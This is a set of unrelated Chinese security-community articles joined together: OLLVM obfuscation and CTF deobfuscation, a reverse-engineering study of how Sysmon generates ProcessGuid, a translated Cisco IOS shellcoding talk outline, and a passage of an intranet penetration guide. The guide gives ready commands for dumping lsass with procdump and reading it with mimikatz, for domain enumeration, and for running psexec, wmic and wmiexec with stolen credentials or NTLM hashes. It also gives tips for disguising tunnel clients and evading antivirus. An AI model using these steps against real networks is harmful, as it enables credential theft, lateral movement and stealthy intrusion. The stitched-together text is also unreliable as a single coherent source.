**配置OLLVM**
* * *
Github地址：<https://github.com/obfuscator-llvm/obfuscator/wiki/Installation>
上面地址安装的是oLLVm-4.0
Github：<https://github.com/AllocAndInit/ollvm5.0.1>
上面这个是最新的。
我先安装4.0的看看感觉
但是我们在执行第四步的时候可能会出现这样的错误
这个时候我们需要更换一下我们的第四步命令
cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF ../obfuscator/
但是我们在完成最后编译环节的时候，有些电脑可能会出现这样的错误提示，
c++:internal compiler error:killked(program cclplus)
编译就终止了。
解决方案就是扩大swap分区的容量，这个问题是swap分区太小而导致的。
笔者的环境是Ubuntu18.04，怎样增加swap分区呢？
查看我们的盘符情况：free -h
我的分区只有2G
创建一个swap文件
sudo mkdir /swap
cd /swap
进行扩充（下面的命令是扩6G，可以根据实际情况更改）
sudo dd if=/dev/zero of=swapfile bs=1G count=6
因为dd是不会查看进度的
同时这个命令可以查看进度
sudo watch -n 5 killall -USR1 dd
然后将生成的文件转换成swap文件
sudo mkswap -f swapfile
这里我报错了,需要我们手动将文件夹的权限转换成600
sudo chmod 0600 /swap/swapfile
然后直接激活
sudo swapon /swap/swapfile
（以下步骤可以不用执行，不影响安装环境）
但是这样重启后会直接失效
你如果需要的话可以进行重新激活
sudo swapon /swap/swapfile
如果需要一直保持这个swap,则需要将其写在/etc/fstab文件中
sudo nano /etc/fstab
解决好上面这个报错，就可以继续执行编译环节。安装环境就没有什么问题了。我们就开始来试一试这个混淆方式吧。
**OLLVM的初体验**
* * *
为了让大家熟悉附加平坦化，我写了一个简单的C代码，然后用两种编译实现一下，看看返回编后的效果。在附件中我会上传我的源代码。
在正常编译下后反汇编的效果：
核心代码：
对源代码未进行保护。
接下来我们看看经过OLLVM编译的反汇编效果：
而关键代码：
关键代码就受到保护。
简单的演示就到这里。各位师傅们有兴趣可以多探究一下。
**如何去平坦化**
* * *
在我的上一篇文章中，有详细的讲解如何配置去平坦化，如果读者没有配置，请先参考上篇文章配置环境后进行阅读下面的内容。
在这里我将采用2019全国信息安全专项赛上的一个题目flat，进行测试（附件会有相关资料）。
打开IDA直接分析
开局就发现有点熟悉，很可能就是采用了OLLVM混淆
在我们用strings命令查看，便看到一段很有意思的字符。在这里我们已经知道个大概了，不慌，进入程序再看看。
现在基本上很确定是OLLVM混淆。那我们就直接还原check函数。
这是我还原的check1函数。还原的很彻底。
接下来我们就不用怎么分析。直接还原所有的check函数。Flag就非常容易分析出来。虽然这题可以手动分析出来，不去平坦化，肯定会花去不少时间。
那这题我就不具体分析了，我直接给出题解：[http://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247484146&idx=1&sn=43f4f00339ea244a27c1d8b22d2fe5c5&chksm=fd7117bfca069ea98ec310f8eeef35ad08bb39a9ddde67042bf1b5b6ae5c8a50d69cb7f66a18&mpshare=1&scene=23&srcid=&sharer_sharetime=1566915918208&sharer_shareid=1999a7068cdb9c4191541446b49b93e1#rd](http://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247484146&idx=1&sn=43f4f00339ea244a27c1d8b22d2fe5c5&chksm=fd7117bfca069ea98ec310f8eeef35ad08bb39a9ddde67042bf1b5b6ae5c8a50d69cb7f66a18&mpshare=1&scene=23&srcid=&sharer_sharetime=1566915918208&sharer_shareid=1999a7068cdb9c4191541446b49b93e1#rd)
（感谢星盟安全团队的题解）。
**总结**
* * *
分析了这么多反静态分析的手段，在比赛中或多或少会遇到，有事并不会单独出现。希望读者们多多研究一下这些手段。手段是旧的，但是出题者的想法总是层出不穷的。 | 社区文章 |
# 微软轻量级系统监控工具sysmon原理与实现完全分析——ProcessGuid的生成
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Sysmon的众多事件看起来都是独立存在的，但是它们确实都是由每个进程的产生的，而关联这些信息的东西正是ProcessGuid，这个对进程是唯一的。如下图
Event 23
都会有个ProcessGuid 字段，今天的这篇文章主要就是讲解Sysmo是如何生成事件的ProcessGuid的。
Sysmon有两个地方会调用ProcessGuid创建的函数，第一个是初始化的时候，在服务启动的时候会初始化一次当前机器里
已经打开进程的ProcessGuid
查看这个红色框的函数Sysmon_InitProcessCache
首先会枚举当前机器所有进程，然后下面就会调用Guid的创建的函数
传入ProcessPid，进程的pid
然后像Sysmon的驱动发送IoControl码去获取该进程的相关信息，获取哪些信息呢？接下来我们看内核驱动。
Sysmom内核驱动处理Io的函数SysmonDispatchIrpDeviceIO
找到对应的IoControl
这里就是处理的地方，可以发现会先检验传入参数的大小是不是正确的，然后会调用
SysmonInsertCreateThreadProcess(pUserBuffer->ProcessId, 1u,
pUserBuffer->NewAdd, pIrp);去获取该进程pid的进程相关的信息。
首选会获取进程的Token相关的信息
在这里函数里使用了ZwOpenProcessToken(ProcessHandle, 0x20008u,
&TokenHandle);去获取进程token句柄
然后Query句柄，使用ZwQueryInformationToken函数去获取，TokenInfomationClass分别是TokenUser、TokenGroups、TokenStatistics、TokenIntegrityLevel。最后会把这些信息输出到传输的缓冲区结构体里
获取了以上信息后，还会继续获取进程的全路径和参数
AttackProcess进程后去获取进程的参数的获取，是通过PEB—>ProcessParameter获取
接下来就是获取进程创建时间
ZwQueryInformationProcess(ProcessHandlev9, ProcessTimes, &KernelUserTime, 0x20u, 0);
if (!KernelUserTime.CreateTime.QuadPart) {
ResultLength = 48;
if (ZwQuerySystemInformation(SystemTimeOfDayInformation, &SystemTimeDelayInformation, 0x30u, &ResultLength) >= 0) KernelUserTime.CreateTime.QuadPart = SystemTimeDelayInformation.BootTime.QuadPart
- SystemTimeDelayInformation.BootTimeBias;
}
继续还会计算改进程的hash
最后把这些信息输出到ring3输入的缓冲区里
结构体是：
struct _Report_Process {
Report_Common_Header Header;
CHAR data[16];
ULONG ProcessPid;
ULONG ParentPid;
ULONG SessionId;
ULONG UserSid;
LARGE_INTEGER CreateTime;
LUID AuthenticationId;
ULONG TokenIsAppContainer;
LUID TokenId;
ULONG HashingalgorithmRule;
DWORD DataChunkLength[6];
CHAR Data[1];
};
后面的数据data 有
**SID
TokenIntegrityLevel
ImageFileName
HASH
CommandLine
DirectoryPath**
驱动过程结束后继续回到应用层调用的地方，应用层获取了以上数据后就是对数据进程组装来生成ProcessGuid。
可以看到函数v7 = (const __m128i *)SysmonCreateGuid(&OutBuffer.TokenId,
(int)&OutBuffer.CreateTime, &Guid, 0x10000000);传入的参数是TokenId、CreateTime
继续分析该函数内部实现
OutGuid的参数是v6
V6的data1 赋值为g_Guid_Data1，这个从哪里来的呢，答案很简单。
在另外一个函数里有个给g_Guid_Data1赋值的地方
可以看到读取注册表键值为MachineGuid的键值获取这个键值Guid的第一个Data1给g_Guid_Data1，网上翻阅，会看到
哦，答案一目了然了，是
v2 = RegOpenKeyW(HKEY_LOCAL_MACHINE, L”SOFTWARE\Microsoft\Cryptography”,
&phkResult);
我们看下自己机器的注册表里
确实存在一个Guid，sysmon只去了第一个data1.
接着看 _(_DWORD_ )&v6->Data2 = v8;
V8 就是 进程的CreateTime，只是经过了
RtlTimeToSecondsSince1970(Time, &v8);的时间格式化
最后就是8个字节的数据
_(_DWORD_ )v6->Data4 = GudingValue | TokenIdv5->HighPart;
_(_DWORD_ )&v6->Data4[4] = TokenIdv5->LowPart;
GudingValue是哥固定值0x10000000
填充Tokenid的高位与低位
现在我们大概清楚ProcessGuid的算法就是
**MachineIdData1-进程创建时间-TokenId组合而成的**
以上是初始化的时候ProcessGuid过程，第二个部分是实时从内核获取进程线程事件后，Sleep(500u);每500毫秒从驱动内获得事件缓冲数据
然后调用SysmonDisplayEvent(lpOutBuffer);去解析事件
事件类型为7的时候，同样会调用以上函数Sysmon_DeviceIo_Process_Pid_Guid( _(_DWORD_ )v22, (GUID
*)&v67, 4, SizeInWords);去生成ProcessGuid，事件类型7 就是我们上一篇文章讲的进程线程事件。
最后就是实验我们的结果，写代码
if (SUCCEEDED(StringCchPrintf(szDriverKey, MAX_PATH, _T(“\\.\ % s”), _T(“SysmonDrv”)))) {
HANDLE hObjectDrv = CreateFile(szDriverKey, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hObjectDrv != INVALID_HANDLE_VALUE) {
LARGE_INTEGER Request;
Request.LowPart = GetCurrentProcessId();
Request.HighPart = FALSE;
BYTE OutBuffer[4002] = {
0
};
ULONG BytesReturned = 0;
if (SUCCEEDED(DeviceIoControl(hObjectDrv, SYSMON_REQUEST_PROCESS_INFO, &Request, 8, OutBuffer, sizeof(OutBuffer), &BytesReturned, 0))) {
if (BytesReturned) {
Sysmon_Report_Process * pSysmon_Report_Process = (Sysmon_Report_Process * ) & OutBuffer[0];
if (pSysmon_Report_Process - >Header.ReportSize) {
typedef void(__stdcall * pRtlTimeToSecondsSince1970)(LARGE_INTEGER * , LUID * );
LUID CreateTime;
GUID ProcessGuid = {
0
};
ProcessGuid.Data1 = 0x118a010c;
pRtlTimeToSecondsSince1970 RtlTimeToSecondsSince1970 = (pRtlTimeToSecondsSince1970) GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "RtlTimeToSecondsSince1970");
if (RtlTimeToSecondsSince1970) {
RtlTimeToSecondsSince1970( & pSysmon_Report_Process - >CreateTime, &CreateTime); * (DWORD * ) & ProcessGuid.Data2 = CreateTime.LowPart; * (DWORD * ) ProcessGuid.Data4 = pSysmon_Report_Process - >TokenId.HighPart; * (DWORD * ) & ProcessGuid.Data4[4] = pSysmon_Report_Process - >TokenId.LowPart;
}
CheckServiceOk = TRUE;
}
}
}
CloseHandle(hObjectDrv);
hObjectDrv = NULL;
}
}
我们计算自己进程的结果是
**ProcessGuid = {118A010C-7A53-5FAB-0000-0010B1AED716}**
再看看sysmon里记录的记过是
是一样的，算法结果没问题
这篇文章就到此结束，希望能对读者有些帮助，当然我这个是v8的sysmon的版本对应的算法，最新版v11有点小的变动，但变化是在内核里的数据，其他变化不大，读者可以自己去研究。 | 社区文章 |
译者：dengxun@360A-Team
来源：[360安全监测与响应中心](https://mp.weixin.qq.com/s?__biz=MzUzODQ0ODkyNA==&mid=2247484028&idx=3&sn=5f49825474a1efb8a4407e034b6652fa&chksm=fad6c70fcda14e19a5113d3e0c20cb9b010a7ac836641b1b341982259820c704d85c3a38d064&mpshare=1&scene=1&srcid=04140DL46ap1iYSFd5dcVY0I#rd
"360安全监测与响应中心")
#### 0x00 前言
##### 作者George Nosenko
Digital Security安全研究员
漏洞挖掘者
利用程序开发人员
##### 议程
第一部分: Cisco IOS逆向工程
1. 主要难点
2. 子系统
3. 注册表
4. 进程
5. 粘合代码/简单代码/死代码
6. 命令解析器
7. Libc在哪里？
8. 其他
9. 如何调试Cisco IOS
10. 如何调试Cisco IOS XE
第二部分: Cisco IOS shellcode编写
1.动机
2.主要难题
3.Image-independet (译者注：非镜像相关性) shellcode
a. 反汇编shellcode
b. Interrupt-Hijack(中断劫持) shellcode
4.TCL shellcode
a. 如何工作？
b. 特性
c. 限制
d. 如何编写？
##### 前人栽树
##### Cisco多样化概述
操作系统
CiscoIOS XE(基于Linux)
CiscoNX-OS(基于Linux)
CiscoIOS XR(基于QNX)
ASAOS(基于linux)
CatOS
CPU构架
PowerPC(Book-E)
MIPS
Intelx86_x64
#### 0x01 Cisco IOS RE
##### 主要难题
1. 系统被设计成一个静态链接的大的ELF二进制文件
2. 所有方面都高度集成，没有模块化的内容
3. 没有APT
##### 上下文中的逆向
##### 固件解包
1.镜像可能使用自解压
2.镜像可能包含如下内容：
a. 加载器(loader)
b. Flash驱动
c. 附加硬件的固件
d. 安全证书
3.Binwalk 可以工作，但它产生了巨量的输出
4.要进行自动分析，你需要编写一个解包工具(unpacker)
##### 跟踪字符串
##### 子系统
##### 注册服务
1. Linker-independent (连接器独立性) 机制
2. 服务是一个子系统接口
3. 注册表是服务的集合
4. 服务模拟C语言结构（loop, switch等等）
5. 具有8-12个不同的类型
##### 进程（IOS中的进程相当于传统意义上的线程）
如何快速找到process_create()
1. 进程是一个内部结构（类似于PEB）
2. 进程被分配cfork()分配在地址0x05B9AFDC上
3. 而cfork()被process_create()所调用
粘合代码/简单代码/死代码
##### 命令解析器树
1. 分配在子系统(subsystem header)头后面
2. 节点根据其类型包含不同的信息
3. 根节点类型为0x56
Libc在哪里？
1. 在本例中，libc位于.text段最后
2. Libc提供系统层服务(printf, fopen, socket,malloc…)
3. Libc是基础函数集合(memcpy, strcpy,strncat…)
4. 基础函数是一个简单代码，具有很小的圈复杂度（has alittle cyclomatic complexity）
MagicPeople, voodoo people!
##### CiscoIOS下的调试
Cisco IOS包含一个GDB服务器，但。。。
它不能工作于常规GDB客户端，因为IOS的RSP协议有一些不同。
你能够：
1. 使用ROMMON
2. 给老版本GDB打补丁
3. 使用IODIDE
4. 为IDA Pro编写适配器
##### Cisco IOS XE(3.3.5SE)的调试
此版本不包含GDB服务器，但你可以针对目标平台静态编译一个gdbserver然后复制到设备上。复制完之后打开linux shell来操作。
在Linux shell下使用gdbserver附加到进程iosd上（flash:/map at /mnt/sd3/user）。
#### 0x02 CISCOshellcoding
##### 动机
我们的测试任意经常需要仔细处理Cisco设备的二进制漏洞，测试人员又从公共途径获取所需的shellcode，因此我们需要稳定强大的工具来完成这件事情。
##### 难点及早期shellcode
1.没有公开API和系统调用给第三方开发者。系统调用时ROMMON中的接口。
a. 写入字符到控制台
b. 重启
c. 改写confreg等
2.Cisco IOS 二进制文件多种多样
Cisco IOS 是个高度集成的静态大ELF文件，没有任何的模块（类似 *.so这样的）
##### Image-independent(镜像无关性) shellcode
Signature-based shellcode byAndy Davis
Version-independent IOS shellcode, 2008
不变的代码结构
2.Disassembling shellcode byFelix ‘FX’ Lindner
Cisco IOS Router Explotation 2009
不变的唯一字符串
3.Interrupt-Hijack shellcode byColumbia University NY
Killing the Myth of Cisco IOS Diversity, 2011
不变的中断处理程序
##### Disassembling shellcode
基本技术
1. 找到一个独特的字符串并获取它的地址
2. 搜寻引用这个字符串的代码
3. 对这个函数进行补丁
优缺点
1. 可靠， 能在很大范围的Cisco设备上奏效
2. 充分互动，但隐蔽性不强
3. 必然限制于IOS shell
4. 可能触发watchdog计时器异常检测，它会结束并记录运行时间过长的进程
Interrupt-Hijack shellcode
Two-stage攻击
Stage1:
1. 解析出第二段shellcode
2. 放入ERET指令（译者注：中断返回指令）
3. 拦截所有的中断处理
Stage 2:
1. 从特定格式的网络数据包中接收命令
2. 运行命令
优缺点
1. 快速，健壮，权限高
2. 通过ICMP建立隐蔽通道
3. 结构复杂，异步操作
4. 它预备一个包含镜像有关性的stage 3 payload数据库
5. Rootkit-oriented (rootkit方向性)
##### Cisco 事件回应：SYNful Knock 恶意代码
（译者注：此处图片内容为思科和火眼发现SYNful Knock恶意代码以及该代码介绍等，以下仅翻译部分恶意代码的介绍）
SYNfulKnock
是一个持续型恶意代码，它能让攻击者获得设备控制权并使用修改过的软件镜像破坏了完整性。恶意代码可通过HTTP协议激活多个模块并通过向设备发送构造好的TCP包进行控制。
看起来，SYNful Knock工作原理和Interrupt-Hijack shellcode具有相似性。
##### 我们对Shellcode的要求
1. 不依赖于特定镜像和CPU构架
2. 能在较多Cisco设备上工作
3. Pentest-oriented
4. 最大稳定性和功能
5. 足够快避免触发watchdog
#### 0x03 Demo
##### Tool Command Language
1.由John K. Ousterhout, Berkely创造于1980年http://www.tcl.tk
2.解释性语言，可运行于多种平台（支持套接字、文件系统、正则表达，列表等）
3.TCL于2003年开始被Cisco IOS（Release 12.3(2)T）作为通用脚本语言
4.在IOS里面，Cisco为TCL扩展了几个特殊的命令
a. exec – 执行一个IOS Shell命令
b. ios_config – 修改IOS配置
c. typeahead – 模拟用户输入
d. 更多。。。
5.Embedded Event Manager(EEM)的TCL规则
##### TCL与渗透测试
1. 几乎是唯一进行Cisco IOS功能扩展的通道
2. TCP脚本可以在不同平台运行
##### TCL shellcode如何工作？
Stage 1:
1. 获取内存分布
2. 在.data区域查找TCL子系统
3. 在子系统中查找TCL C API表
4. 获取所有TCL IOS 命令扩展处理程序的地址
5. 创建新的TCL命令
6. 使用TCL C API创建新的TCL解析器
7. 运行内存中的TCL脚本
Stage 2:
1. 脚本连接恶意服务器
2. 执行从服务器接收到的TCL表达式
##### 获取内存分布
目标
1. 缩短搜索时间
2. 不引起访问违例
3. 必须使用System PurposeRegisters(SPR)
4. 此方法依赖于处理器构架
5. 我们能忽略这个步骤
6. 因为我们使用C开发shellcode，这不是什么大问题
##### 搜索TCL子系统
目标
1. 缩短搜索时间
2. 所有TCL子系统相关的数据均位于头段后面
3. 所有TCL子系统相关函数都在tcl_subsys_init中
4. 通过标记C15C0515 C15C0515查找
5. 通过名称”tcl”查找
##### 查找TCL C API表
1.TCL C API
a. 用于嵌入式
b. 用于功能扩展
c. TCL API
2.使用函数指针表tclStubs 进行平台抽象
3.我们可以通过查找0xfca3bacf查找tclStubs的地址
##### 查找扩展处理函数地址
目标
1. 我们想使用TCL IOS扩展
2. 我们已经从ctlStubs获取到了Tcl_CreateCommand地址
3. 所以，我们能找到所以调用它的地方
4. 我们能从汇编代码中获取扩展处理函数的地址和名称
##### 创建属于你的TCL命令
##### 执行内存中的TCL脚本
##### 特点/属性/局限
特点
1. 拥有最高权限的Shell
2. 能够使用文件系统和套接字
3. 可以读写内存 a. 改变Cisco IOS行为 b. 分析IOMEM
高级特性
1. 宏命令 （比如创建GRE通道）
2. 自动化攻击
3. 复用其他TCL工具
4. ROMMON木马
属性
1. 镜像无关性
2. 很容易移植到其他CPU构架
3. 能应用于Cisco IOS XE
4. 不用担心watchdog
5. 劫持进程
限制
1. TCL并非无处不在
2. 有约2kb – 2.5kb的大小限制
3. 无法创建TCL服务器
4. 使用TCP连接，隐蔽性不够强
* * * | 社区文章 |
## 背景
菜菜鸡最近进入了一个内网，但是菜菜鸡之前没有打过内网，菜菜鸡表示有点不知所措，但是菜菜鸡的老大，大菜菜鸡表示不要慌，大家都没打过，边打边学，这样菜菜鸡就开始了第一次内网渗透之旅。
由于内网庞大，不可能一一介绍知识，所以本文主要介绍一些在本次内网渗透常用且好用的工具、方法和更快达到目标的思路。
## 代理工具
不管在任何渗透中，好的代理工具是必不可少的，好的代理工具能让你在内网中七进七出，穿破对方的防线。
本篇幅有点小长，但可以关注一下里面的一些小trick或者优化。
### NPS
1. 简介
[NPS](https://github.com/ehang-io/nps)是一款用go写的内网穿透工具，它的特性有：
1. 几乎支持所有协议
2. 支持内网http代理、内网socks5代理、p2p等
3. 简洁但功能强大的WEB管理界面
4. 支持服务端、客户端同时控制
5. 扩展功能强大
6. 全平台兼容，一键注册为服务
基于以上特性，我们很乐意让它成为我们主要的代理工具。特别是存在web管理界面，使多个客户端管理变得十分轻松，及其存在webapi，可以让我们做一些自动化的事情。
1. 配置
a. nps
nps配置的主要关注的点在：
# 是否开启http proxy 该功能类似于nginx实现https的处理
http_proxy_ip=
http_proxy_port=
https_proxy_port=
https_just_proxy=
# bridge的类型和port 选一个自己想要的port即可
bridge_type=tcp
bridge_port=8888
bridge_ip=0.0.0.0
# 日志等级和记录 建议不记
log_level=7
log_path=/dev/null
# 客户端连接使用vkey
public_vkey=iamavkey
# nps web管理端配置 建议配置web_host和web_base_url更加安全
web_host= test.com
web_username=user
web_password=pass
web_port = 12345
web_ip=0.0.0.0
web_base_url=/only_login
# 端口复用
官方文档如下：
在一些严格的网络环境中，对端口的个数等限制较大，nps支持强大端口复用功能。将bridge_port、 http_proxy_port、 https_proxy_port 、web_port都设置为同一端口，也能正常使用。
使用时将需要复用的端口设置为与bridge_port一致即可，将自动识别。
如需将web管理的端口也复用，需要配置web_host也就是一个二级域名以便区分
除了以上配置，在实际使用中还需要关心客户端的心跳检测频率和超时检测：
客户端与服务端间会间隔5s相互发送延迟测量包，这个时间间隔不可修改。 可修改延迟测量包丢包的次数，默认为60也就是5分钟都收不到一个延迟测量回包，则会断开客户端连接。 值得注意的是需要客户端的socket关闭，才会进行重连，也就是当客户端无法收到服务端的fin包时，只有客户端自行关闭socket才行。 也就是假如服务端设置为较低值，而客户端设置较高值，而此时服务端断开连接而客户端无法收到服务端的fin包，客户端也会继续等着直到触发客户端的超时设置。
在nps.conf或npc.conf中设置disconnect_timeout即可，客户端还可附带-disconnect_timeout=60参数启动
如果觉得这个频率过快可以考虑修改源码来适配当前环境。
b. npc
npc启动方式可以分为两种，同时npc也支持注册到系统服务的形式进行安装和启动。
**无文件形式启动** ：
这种方式首先需要在web端新建一个客户端，
配置完了之后，点开该客户端旁边的+(-)，可以展开(收回)客户端的配置详情，其中就有npc启动命令，
在这里分享一些小trick，如果在linux机器上以无文件形式启动，可以用以下命令伪装成php或java：
mv npc php
export PATH=.:$PATH
# 环境变量设置vkey
export NPC_SERVER_ADDR=1.1.1.1:8024
export NPC_SERVER_VKEY=xxxxx
php
**配置文件形式启动** ：
./npc -config=npc配置文件路径
具体配置可参考[官方文档](https://ehang-io.github.io/nps/#/use)。
2. bug修复
在平时使用中，我们发现npc在windows中使用存在一些Bug：计划任务或其它非服务的system权限npc无法启动，经过debug发现是service这个依赖包存在问题，跟开发团队沟通他们建议自己先临时解决。这是一个非常重要的功能，因为如果我们想要在不保持某个用户登陆的情况下定时运行npc，就需要计划任务/ru
SYSTEM选项
查看npc.go代码可以发现npc是支持不调用service就启动的，所以临时解决方案如下：
s, err := service.New(prg, svcConfig)
if err != nil {
修改成
if false {
或者将if里代码提取出来，service代码去掉
### frp
1. 简介
frp 是一个专注于内网穿透的高性能的反向代理应用，支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网
IP 节点的中转暴露到公网。
从功能上来讲与nps无太大的差别，所以这不赘述了，这里贴出[项目地址](https://github.com/fatedier/frp/)和[配置文档地址](https://gofrp.org/docs/examples/)。
### EarthWorm
1. 简介：
EW 是一套便携式的网络穿透工具，具有 SOCKS v5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透。
作者已经停止更新，但是网上还是可以找到源码。网上已经有很多关于ew的使用教程，这里不赘述了。
看到这里可能很多读者又要问了，我已经有了npc、frp和chisel了，为啥还要用ew呢？那么我们考虑一个场景，对方内网有台机器不出网，并且我们只能通过这台机器到达目标网段，这个时候该怎么办？答案很简单，就是使用ew直接在该跳板机开启一个正向socks5监听端口，我们就可以通过该socks5到达目标网段。
2. 静态免杀
我们在使用过程中经常遇到的问题是被杀软识别成恶意程序，但ew本身没有恶意行为，所以我们可以通过一些常用的过静态免杀的手法来过杀软：
a. 重新编译
b. 取出不需要的字符常量
建议在本地先测试好再上生产环境，否则被识别了就前功尽弃。除此之外还需要考虑流量特征，这里就留给大家自行发挥了。
### invoke-proxy
1. 简介
除了ew外，在windows还可以使用powershell脚本进行正向的socks5连接。[Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy)就实现了这个功能，当然它还可以进行反向socks5回弹，但是不推荐，或者需要修改源码使用。原因在于它的心跳在于5s，并且时不时会中断，需要修改和测试。
2. 使用
在powershell运行
Import-Module .\Invoke-SocksProxy.psm1;Invoke-SocksProxy -bindPort 1080
即可在机器上监听1080端口并转发请求
## 域信息收集
### 一、前期信息收集
当我们获得一台内网普通机器的权限的时候，需要进行初步的信息收集，才可以确定我们下一步的目标。
假设菜菜鸡现在获取了一台在域内的windows权限，菜菜鸡该做什么呢？上网一搜，唰的一下，出来一堆：
1. 获取当前所在域的名称
a. net config Workstation
net config Workstation
计算机名 \\DC
计算机全名 DC.test.com
用户名 Administrator
工作站域 test
工作站域 DNS 名称 test.com
登录域 test
命令成功完成。
其中 **工作站域** 即是域名称
b. net time /domain
net time /domain
\\DC.test.com 的当前时间是 2021/1/1 20:29:16
c. systeminfo
d. ipconfig /all
2. 域内相关信息收集
a. 基本信息查询
# 查看域管
net group "domain admins" /domain
# 获得企业管理员列表
net group "enterprise admins" /domain
# 获得域控列表
net group "domain controllers" /domain
# 获得所有域用户列表
net user /domain > C:\Windows\Temp\user.txt
# 获得所有域成员计算机列表
net group "domain computers" /domain > C:\Windows\Temp\com.txt
# 获取所有的组，这一步其实是非常重要的，因为专业运维都会分组，并且命名规范，所以如果想要精确打击目标，比如财务、hr、管理员组，就可以直奔目标而去
net group /domain > C:\Windows\Temp\group.txt
# 获取域信任信息
nltest /domain_trusts
# 查询域所有spn,也可以查到dc及其主机名,这个命令在搜集计算机分组上也很有用
setspn -T target.com -Q */* > C:\Windows\Temp\spn.txt
# nslookup 查询该域所有域控及对应主机名 为CVE-2020-1472 ZeroLogon做准备
nslookup -type=all _ldap._tcp.dc._msdcs.test.com
_ldap._tcp.dc._msdcs.test.com SRV service loc
priority = 0
weight = 100
port = 389
svr hostname = dc.test.com
dc.test.com internet address = 1.1.1.1
# 一般来讲，域内DNS跟域控会在一起，所以可以通过nslookup获取dns服务器，不过具有局限性，因为域内通常有多个域控服务器
nslookup google.com
b. 抓取本机hash
菜菜鸡这个时候已经获取了域的基本信息，但是还是有点迷茫，接下来能干什么？菜菜鸡想起了之前在某大厂实习的时候，用的也是域，菜菜鸡用自己的账号本地登录过其它机器，那远程登陆的权限是不是也有？但是通过一番询问和查证，得到的结果是一般都不行。但是域管就可以，所以就开始了找域管账号密码之旅。
由于菜菜鸡进入的是一个sharepoint系统，很大概率本机保存着某些域管的凭据，所以抓取本地hash就成了我们的首要目标。
抓取本地hash网上也有很多文章了，这里介绍一种不上传mimikatz抓取hash的方式，可以有效的规避杀软：
1). 上传[procdump64.exe](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) ，procdump是微软官方提供的工具，所以不用担心免杀问题；
2). 运行 procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp；
3). 下载lsass.dmp；
4). 在本地运行mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords full
即可看到所有本地保存的hash
幸运的是，我们确实拿到了域管的hash，并且还是明文的，虽然不是明文也无所谓（后面才知道）
### 二、横向扩展执行命令常用方法
当我们拿到域管密码的时候，如果不想进行远程登录但想在目标机器上执行命令，可以采用以下几种方法：
1. psexec
psexec是微软官方的PsTools里的一款工具，利用445或者139端口，开启一个交互式的命令控制台。
psexec主要通过admin$和ipc$共享，将psexesvc.exe文件上传，然后通过用于启动服务二进制文件的服务控制管理器（sc），在目标主机上创建命名管道，并将该管道用于输入和输出操作，就可以获得一个交互式的命令控制台。原理图如下：
详细分析可参考[这篇文章](https://rcoil.me/2019/08/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3%20PsExec/)。
**用法：**
# -s 为Run the remote process in the System account
PsExec.exe \\xxx.xxx.xxx.xxx -u domain.com\user_name -p password -s cmd
同时要考虑psexec会在对方机器留下的痕迹：
a. PSEXESVC 服务将会安装在远程系统中，如果是断网退出，psexec服务和psexec.exe不会被删除；
b. 生成 Event 4697、7045、4672 这3种事件日志，主要是内容是psexec服务启动和凭据认证。
2. wmic
WMIC是一款命令行工具，不但可以管理本地计算机，还可以管理远程计算机。缺点是不会进行回显，所以可以结合写文件和smb读文件进行命令执行。
**用法：**
wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"
wmic在平常渗透中用的比较少，但是在某些特定场景可以使用，比如需要特定用户的权限去执行命令。
3. wmiexec
wmiexec.py是[impacket](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py)里的一个组件，类似于smbexec的方法，但是通过WMI执行命令，所以它补足了wmic不能回显的缺点。
**用法** ：
python3 wmiexec.py test.com/[email protected] -hashes xxxx:xxx(LMHASH:NTHASH)
看到这里菜菜鸡不禁思考了起来，wmiexec与psexec区别到底是啥呢？在实践环境中该用哪个呢？
我们可以重新梳理下它们的流程以及要利用到的端口：
**psexec** ：
1. 提供凭据，SMB验证
2. 使用IPC$和admin$共享上传psexec.exe
3. 通过远程调用创建服务并启动
4. 用命令管道进行输入输出处理
5. 结束后删除psexec.exe和服务
依赖于445端口，可取得system权限
**wmiexec** ：
1. 提供凭据，SMB验证
2. 提供凭据，建立DCOM连接
3. 输入命令
4. 对命令进行拼接处理（将命令结果输出到ADMIN$），并利用建立好的DCOM连接和__win32Process执行命令
5. 取回结果并显示，然后删除结果文件(OUTPUT_FILENAME = '__' + str(time.time()))
依赖于135、445端口，不需要system权限，但必须要是admin权限
综上，wmiexec与psexec相比：
**优点** ：
a. 无exe落地；
b. 不会在对方的机器上启动服务，只会留下认证日志。
**缺点** ：
a. 需要135端口；
b. 会有输出结果文件落地；
c. 经过流量抓包，发现命令是明文传输的。
所以如果在流量审查比较严格和135端口不通的环境中，菜菜鸡会考虑用psexec，如果在日志审查严格的环境中，菜菜鸡会考虑使用wmiexec。
除此之外，还要考虑杀软、防火墙和域策略，菜菜鸡还没测过在杀软环境下psexec和wmiexec的表现，所以任重而道远。
4. pth
pth(pass the hash)是一种利用NTLM哈希来向远程服务器或服务进行身份验证，从而绕过使用明文密码限制的技术。根据wikipedia的介绍：
在使用NTLM身份验证的系统或服务上，用户密码永远不会以明文形式通过网络发送。相反，它们像域控制器一样作为哈希提供给请求系统，作为对质询-响应身份验证方案的响应。
本机Windows应用程序向用户询问明文密码，然后调用LsaLogonUser之类的API，将该密码转换为一个或两个哈希值（LM或NT哈希），然后在NTLM身份验证期间将其发送到远程服务器。对这种机制的分析表明，成功完成网络身份验证不需要明文密码，只需要哈希即可。
如果攻击者拥有用户密码的哈希值，则无需强行使用明文密码；他们可以简单地使用他们获取的任意用户帐户的哈希值来针对远程系统进行身份验证并模拟该用户。换句话说，从攻击者的角度来看，哈希在功能上等同于生成它们的原始密码。
